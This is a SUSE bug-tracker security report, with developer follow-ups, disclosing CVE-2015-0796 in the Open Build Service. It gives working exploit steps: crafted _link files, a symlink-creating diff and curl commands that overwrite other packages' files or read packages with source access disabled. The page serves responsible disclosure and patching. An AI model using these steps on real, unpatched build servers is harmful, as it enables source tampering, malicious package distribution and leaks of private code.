Bug 941099 (CVE-2015-0796) - VUL-0: CVE-2015-0796: obs-server: OBS _link exploits
Summary: VUL-0: CVE-2015-0796: obs-server: OBS _link exploits
Status: RESOLVED FIXED
Alias: CVE-2015-0796
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P5 - None : Major
Target Milestone: ---
Assignee: Adrian Schröter
QA Contact: Security Team bot
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2015-08-10 09:32 UTC by Marcus Meissner
Modified: 2018-03-02 16:05 UTC (History)
4 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---
adrian.schroeter: needinfo? (mls)


Attachments
genpatch.py (505 bytes, text/plain)
2015-08-10 09:32 UTC, Marcus Meissner
Details
0001-backend-fixed-security-bug-in-applylink.patch (899 bytes, patch)
2015-08-10 09:32 UTC, Marcus Meissner
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Marcus Meissner 2015-08-10 09:32:01 UTC
reported by Marcus Huewe, cced.

Hi,

I hope this the correct way to report a security issue (I couldn't find
an option to file a non-public bug on bugzilla.opensuse.org).

Currently, it is possible to exploit an OBS _link file in order to
a) modify arbitrary files in the srcserver's source repo
b) get files from a package whose sourceaccess is disabled

For this, two different "strategies" are employed.

a)
Assumptions:
- the user "mallory" has no write access to the package "foobar/somepkg"
- the "foobar/somepkg" package's sourceaccess is enabled (default)
- $BSConfig::nosharedtrees == 0 (if it is enabled, some paths in the
  following example have to be adjusted)
- there exists a "home:mallory/dummy" package that provides a file called
  "dummy" (arbitrary content - this package and file just serve as a dummy
  link target)

Goal:
- modify the "foobar/somepkg/test.spec" file

Since sourceaccess is not disabled, everyone can retrieve the md5 of the
"foobar/somepkg/test.spec" file. Let's assume "test.spec" has the md5
"aedf32bfbdcd41616577fe5d907ab285".

Next, perform the following steps:
- create and checkout the "home:mallory/link" package
- cd into the checked out package
- execute "python ~/genpatch.py ../../somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec 1 32768"
  Here, "32768" is a guessed value for the pid_max of the srcserver's host.
  Depending on the srcserver's "load", it possible to do better estimations
  for the lower and upper pid range (some code paths in "applylink" print out
  the name of the $tmpdir (which includes the current process' pid) in case of
  an error (so we just have to provoke some error))
- create a "_link" file with the following content:

marcus@linux:~/home:mallory/link> cat _link 
<link package="dummy">
  <patches>
    <apply name="symlinks.diff"/>
    <topadd>Hello world
Add more content
here...
    </topadd>
  </patches>
</link>
marcus@linux:~/home:mallory/link>

- execute "touch dummy.spec"
- commit the "_link", "symlinks.diff", and "dummy.spec" files

As we can see, the commit modified the
"somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec" file:

marcus@linux:~> curl -u mallory:foobar http://localhost:3000/source/foobar/somepkg/test.spec
Hello world
Add more content
here...
    
marcus@linux:~>

(new md5sum: "cec2e1920513ada2f8bbfa07816d6412")

How it works:
- when applying the git-style "symlinks.diff" file, patch creates multiple
  symlinks ".topaddspec<NUMBER>" pointing to the
  "../../somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec" file
- when the topadd is applied, the "topaddspec" function writes the
  "Hello world..." text to the file ".topaddspec<PID>"

Hence, if the process' PID lies in our guessed pid range, the
"../../somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec" is modified.

Implications:
Instead of a spec file, one could, e.g, also modify a package's revision
metadata (use "../../../projects/home:mallory.pkg/link.rev" as the symlink
target). So eventually, it is possible to distribute malicious packages
to the users - example:
- modify files (including the *.rev and *-MD5SUMS file) using the
  approach from above
- wait for a scheduler cold start or a change in the prjconf/project meta
  (so that the scheduler fetches the "updated" projpack information from the
  srcserver)
- the scheduler recognizes the source change and starts a build

Note: if the scheduler and srcserver run on the same host, it is also possible
to directly trigger a build of the modified package by creating a "package"
event (again using the approach from above).

###

b)
Assumptions:
- the user "mallory" has no write access to the package "secret/secretpkg"
- the "secret/secretpkg" package's sourceaccess is disabled
- there exists a "home:mallory/dummy" package that provides a file called
  "dummy" (arbitrary content - this package and file just serve as a dummy
   link target)

Goal:
- get the "secret/secretpkg/foo" file

Since the sourceaccess is disabled, we cannot simply link the "secret/secretpkg"
package into our project. However, the following works:

- create and checkout a "home:mallory/access" package
- cd into the checked out package
- create a "createlink.diff" file with the following content:

marcus@linux:~/home:mallory/access> cat createlink.diff 
--- /dev/null   2015-08-08 12:26:36.894109984 +0200
+++ _link   2015-08-08 14:11:54.419202132 +0200
@@ -0,0 +1 @@
+<link project="secret" package="secretpkg"/>
marcus@linux:~/home:mallory/access>

- create a "_link" file with the following content:

marcus@linux:~/home:mallory/access> cat _link 
<link package="dummy">
  <patches>
    <apply name="createlink.diff"/>
  </patches>
</link>
marcus@linux:~/home:mallory/access>

- commit the "createlink.diff" and "_link" files

Now, the files can be accessed as follows:

marcus@linux:~> curl -u mallory:foobar http://localhost:3000/source/home:mallory/access
<directory name="access" rev="1" vrev="1" srcmd5="be20e3ff985780248ff29f3385c95b7f">
  <linkinfo project="home:mallory" package="dummy" srcmd5="b2168fcfa0333db735a892518d997b38" xsrcmd5="f354de92458d31d5ce848b25d5cda944" lsrcmd5="be20e3ff985780248ff29f3385c95b7f" />
  <entry name="_link" md5="0e867bff456517105f4899c8be0eff1f" size="92" mtime="1439035974" />
  <entry name="createlink.diff" md5="e10be85b6b7904572234da5b39af9140" size="156" mtime="1439035974" />
</directory>
marcus@linux:~> curl -u mallory:foobar 'http://localhost:3000/source/home:mallory/access?rev=f354de92458d31d5ce848b25d5cda944&expand=1'
<directory name="access" rev="9f25dfc1371646872e9268df476eaaa7" vrev="1" srcmd5="9f25dfc1371646872e9268df476eaaa7">
  <linkinfo project="secret" package="secretpkg" srcmd5="2cf5937efc6957571226958fbb3e0b9c" lsrcmd5="f354de92458d31d5ce848b25d5cda944" />
  <entry name="dummy" md5="d41d8cd98f00b204e9800998ecf8427e" size="0" mtime="1438988464" />
  <entry name="foo" md5="eb9c2bf0eb63f3a7bc0ea37ef18aeba5" size="13" mtime="1439035735" />
</directory>
marcus@linux:~> curl -u mallory:foobar 'http://localhost:3000/source/home:mallory/access/foo?rev=9f25dfc1371646872e9268df476eaaa7'
some content
marcus@linux:~>

Thus, we have access to the file "foo".

How it works:
- the expanded sources contain a "_link" that points to the package whose
  sourceaccess disabled 
- if we again expand the "expanded" sources, we can access the "foo" file,
  because the backend does no permission/sourceaccess checks

Implications:
Files that are contained in a package whose sourceaccess is disabled can
be retrieved.

###

The attached patch should prevent the "attacks" described in a) and b). At
least so far I'm not able to perform the "attack" described in a) using a
single <apply name="foo.diff"/> element, but maybe I just overlooked
something:)


Marcus
Comment 1 Marcus Meissner 2015-08-10 09:32:27 UTC
Created attachment 643298 [details]
genpatch.py

genpatch.py  mentioned in email.
Comment 2 Marcus Meissner 2015-08-10 09:32:56 UTC
Created attachment 643301 [details]
0001-backend-fixed-security-bug-in-applylink.patch

0001-backend-fixed-security-bug-in-applylink.patch

from marcus email.
Comment 3 Adrian Schröter 2015-08-10 11:46:43 UTC
The issue exists, Michael will fix it a little bit different though.
Comment 4 Marcus Hüwe 2015-08-11 23:43:54 UTC
(In reply to Adrian Schröter from comment #3)
> The issue exists, Michael will fix it a little bit different though.

Great - Michael's fix is much better than my attached patch (with the attached
patch data corruption was still possible by replacing the ".log" file with
a symlink).
Comment 5 Adrian Schröter 2015-08-13 07:42:40 UTC
this is going out as 2.6.3, 2.5.7 and 2.4.8 atm.